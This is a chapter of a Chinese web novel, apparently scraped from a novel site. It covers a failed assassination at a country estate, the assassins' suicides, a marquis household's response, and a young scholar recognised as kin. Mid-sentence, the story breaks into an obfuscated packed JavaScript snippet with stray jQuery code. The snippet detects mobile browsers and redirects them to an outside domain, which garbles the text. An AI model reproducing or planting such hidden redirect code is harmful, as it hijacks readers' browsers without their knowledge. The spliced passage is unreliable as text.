今夜发生这样大的事情,庄子上的众人,哪里还有一丁点睡意?
大家商量一番,决定分头行动。派两个脚程快的回侯府报讯。其他人或看守刺客,或轮流守夜。
然而,进城报讯的人刚牵了马,还未出发,就又有异变。
刺客自杀了!
苏枕月在房中听闻此事,不由一惊,面色苍白:“死了?刚才不是……”
沈霁的麻药见效极快,有效时间却只有两刻钟左右。在那个长长的梦里,刺客很快清醒,见行动失败,受制于人,就利落地服下藏在牙缝里的毒药自尽了。
苏枕月有心改变,便佯作无意提醒了一下赵二勇他们。
“他们嘴里藏的毒药是取出来了,可谁能想到,他们会咬舌自尽?”赵二勇站在门外,又气又急。
苏枕月心神一震:咬舌自尽?!
她心内失望、震惊之余,隐隐又觉得,似乎也没什么可意外的。
“都怪我大意,早知道这样,就应该直接把他们的牙齿全给拔了。”赵二勇懊恼极了,“唉,这么一来,要查幕后黑手,可就难了。”
苏枕月阖了阖眼睛,竭力稳住心神,温声道:“赵二叔不必自责。他们一心求死,又岂是咱们能拦得住的?即便是拔光他们的牙,只怕他们也会用别的办法自尽。”
她说话轻声细语,一声“咱们”更是有意无意拉近了彼此之间的距离。
赵二勇听这话有理,心内舒坦不少。他挠了挠头:“也是,苏姑娘先休息,我再去看看。”
“有劳赵二叔了。”苏枕月隔着房门说。
脚步声远去,她无力地坐在桌前。
天还没亮,苏枕月却不肯再去睡了。她一动不动,细细思索接下来的路该怎么走。
“姑娘先去躺会儿吧。”南星走到她身边,轻声劝道,“病还没好呢。”
如今已过了霜降,都快立冬了。落水后可别留下什么病根才好。
苏枕月摇了摇头:“睡不着,我心里有点慌,你先去睡吧。”
——已经验证了梦里的一切是真的,她少不得要为自己、为将来谋划。
“是因为刺客的事情吗?姑娘不用太担心,虽说那些人死了,可总会留下蛛丝马迹的,有侯府帮忙,肯定能查出幕后元凶。”南星苍白着脸,心有惊惧,却仍勉强出言宽慰。
苏枕月没有说话,只勉强笑笑,算作回答。
幕后元凶?查不出来的。这些刺客皆是精心培养的死士,宁死也不肯背主,又怎会留下线索?何况就算真查出是成平长公主指使,她一个无权无势的孤女,又能拿陛下的胞妹怎么样呢?
届时,自己的性命能不能保住,都未可知。
但是这些担忧没必要对南星说,没的让她平白跟着忧心。
……
消息很快传到了靖安侯府。
天刚蒙蒙亮,春晖堂的灯就亮了。
文老夫人上了年纪,素来少眠。昨日孙子顾元琛那边又闹出不小的动静,老夫人心里存了事,睡得很不踏实,早早便醒了。
她半靠在罗汉床上,闭着眼睛养神,口中问道:“世子呢?”
“还在祠堂跪着呢。”大丫鬟伽蓝轻声答道。
文老夫人轻哼了一声:“去问他知错了没有。若是知道错了,趁早去公主府把他媳妇接回来,好好过日子。”
——昨日苏枕月落水、孙子顾元琛和长乐郡主争执一事,文老夫人已尽数知晓。她很清楚孙子对这桩婚事不满,可陛下赐婚,谁能拒绝?顾元琛和苏枕月之间不管是真情还是假意,都得一并抛却。此前,文老夫人特意将苏枕月送到城郊庄子上“静养”,就是想让孙子断了念头,偏偏又发生这样的事情。
“是。”伽蓝答应一声,掀帘而出。
过不多时,她又匆匆归来,身后还跟着一个有些眼熟的下人。
“老夫人,出事了!”
“嗯?”文老夫人皱眉,有些不耐,“慌里慌张的,又出什么事了?”
那个下人上前几步,跪下回话:“回老夫人,昨夜庄子发现了刺客。”
随后又将昨夜城郊庄子上的发生之事,一五一十地讲了。
“岂有此理!”文老夫人脸色一沉,“天子脚下,竟也这般放肆!”
旁边侍奉的下人们皆低眉敛目,一声不吭。
文老夫人略一沉吟,双眉蹙得更紧:“那刺客果真是冲着苏姑娘去的?”
“确实是直奔苏姑娘所住的院子。要不是那两个借宿的义士及时出手相救,只怕苏姑娘昨夜已经……”
文老夫人阖上双目,久久不语。
伽蓝觑着她的神色,小声请示:“老夫人,庄子那边……”
“真是冤孽!”文老夫人缓缓睁开眼睛,重重地叹一口气。
本以为把苏枕月送到庄子上,此事就告一段落,哪想到会有这接二连三的事情?苏家那丫头是个闺阁女子,能与人结下什么仇怨?是谁要杀她,答案几乎显而易见。
良久之后,文老夫人才问:“这件事,侯爷知道了吗?”
“侯爷也是刚知道。侯爷的意思是,先把苏姑娘接回来。咱们侯府守卫森严,到底要比外边安全一些。至于刺客的幕后主使,可以慢慢查。”
文老夫人又叹一口气:“只能先这样了。”
——其实文老夫人私心里,并不希望现在就接苏枕月回侯府。孙子顾元琛差点因为她抗旨拒婚。好不容易以“静养”的名义让她暂居庄子,孙子和长乐郡主的婚事如期举行。哪想到又……
可文老夫人也不敢真让苏枕月继续待在庄子上,万一再有刺客,她因此丧命,那靖安侯府的脸面往哪儿搁?
何况,苏枕月的生父当年还是在战场上为靖安侯顾念章挡箭而死。于情于理,顾家都要保证她的安全,不能置她的性命于不顾。
……
靖安侯府派去处理庄子遇刺一事的人是靖安侯的胞弟——顾家二老爷顾念笙。
顾二老爷今年四十多岁,读过书、习过武,可惜文不成武不就,好在家里有钱,捐了个闲职,每日就帮着兄长料理家中庶务。
但庄子上出现刺客这种事,顾二老爷还是第一次遇到。他也不耽搁,带了一些人手,直奔城郊庄子。
彼时已天光大亮,赵二勇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453891|185287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等人也早等候多时。
打斗痕迹犹在,黑衣人的尸体就停在柴房。
顾二老爷简单看了一下,便让人拿着侯府的名帖去京兆府报官。——涉及人命,总不好私下解决。
“让苏姑娘收拾收拾,等会儿跟着一起回府。”顾二老爷交代下去后,又想起一事,“昨晚的那位沈公子呢?还在庄子上吗?”
“在的,在的。”
“走,带我去见见。”顾二老爷实在好奇,那个恰巧出现的沈公子到底是个什么人物。
——对方有功名在身,昨夜还帮了顾家。顾二老爷不想怠慢,遂亲自前往去住处。
此刻,沈霁主仆还在偏院中。
在他们原本计划里,只借宿一晚。但因昨夜之事,今早反倒不好立刻动身离开了。
——庄子上一干人言辞恳切,让他们再等等,等侯府的主事者过来再说。
平安是孩子心性,等得有些不耐烦,好奇地问:“公子,你说那些刺客为什么要杀苏姑娘?奇怪,苏姑娘看上去斯斯文文的,怎么会有这么狠毒的仇家……”
沈霁脑海里不期然地浮现出那双澄澈如水的眼睛。
他心中也有疑问,但此刻平安问起,他只抬了抬眼皮:“别人的事,你问那么多干什么?”
平安不服:“虽说是别人,可这里不是……”
沈霁出声打断:“有人来了。”
说话间,顾二老爷已到偏院门口。
他身量颇高,衣饰不俗,明显与庄子上的杂役不同。
平安心知这多半是主事者,忙打起精神,站到公子身后。
果然听赵二勇介绍:“沈公子,这位是顾家的二老爷。”
沈霁站起身:“顾二老爷。”
在看到沈霁的第一眼,顾二老爷就愣怔了一瞬。没想到沈公子竟这般年轻清隽。而且,眉眼之间还隐隐有种莫名的熟悉感。
“真是英雄出少年……”顾二老爷满脸笑意,好一番夸赞,令人拿出提前备下的谢礼。随后,又问起对方身份籍贯、年岁几何……
“在下沈霁,来自青州……”
对方才说得八个字,顾二老爷就“哎呦”一声:“青州沈霁?你,你,令尊的名讳可是‘云敬’?”
“正是先父。”沈霁颔首,毫不意外他的反应。
——昨夜借宿时,他就从庄上杂役口中得知了此间主人的身份。说起来,他与顾家也有些渊源。
“啊呀,你怎么不早说?还叫我顾二老爷。按辈分,你该叫我二舅舅才对啊。”顾二老爷喜动颜色,“我怎么说瞧着眼熟,原来是自家亲戚。”
——文老夫人膝下原有两子两女,可惜两个女儿都早早夭折,她就从顾氏宗族抱养了一个孤女,养在膝下,权做慰藉。
养女长大成人后,远嫁青州。因为路途遥远,直到去世都没能再回京。
靖安侯府只知道她留下一子,名唤沈霁,刚秋闱夺魁,准备参加来年的春试。以为还在路上,没想到人已经到京了,还及时帮了侯府的忙。
顾二老爷喜不自胜,也顾不得其他,力邀沈霁一同前往侯府,拜见老夫人。